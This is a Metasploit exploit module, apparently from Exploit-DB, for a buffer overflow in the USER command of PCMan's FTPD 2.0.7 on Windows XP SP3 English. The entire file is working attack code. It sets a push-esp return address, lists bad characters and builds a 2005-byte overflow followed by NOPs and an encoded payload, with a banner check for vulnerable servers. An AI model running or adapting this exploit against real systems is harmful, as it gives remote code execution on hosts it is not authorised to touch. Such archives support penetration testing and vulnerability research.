# Exploit-DB Note: Ret needs adjustment for Windows XP SP3 English
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PCMan\'s FTPD V2.0.7 Username Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow found in the USER command
                of PCMan's FTPD.
            },
            'Author'         => 'MSJ <matt.jones.85[at]gmail.com>',
            'License'        => MSF_LICENSE,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread'
                },
            'Payload'        =>
                {
                    'Space'    => 2005,
                    'BadChars' => "\x53\x93\x42\x7E",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # Target 0
                    [
                        'Windows XP SP3 English',
                        {
                            'Ret'      => 0x7e429353 # push esp, ret
                        }
                    ]
                ],
            'Default Target' => 0))
    end
 
    def check
        connect
        disconnect
 
        if (banner =~ /220 PCMan\'s FTP Server 2\.0 Ready\./)
            return Exploit::CheckCode::Vulnerable
        end
            return Exploit::CheckCode::Safe
    end
 
    def exploit
        connect
 
        print_status("Trying target #{target.name}...")
 
        sploit = 'USER ' + "\x41" * 2005 + [target.ret].pack('V') + make_nops(16) + payload.encoded
         
        send_cmd( [sploit] , false )
 
        handler
        disconnect
    end
 
end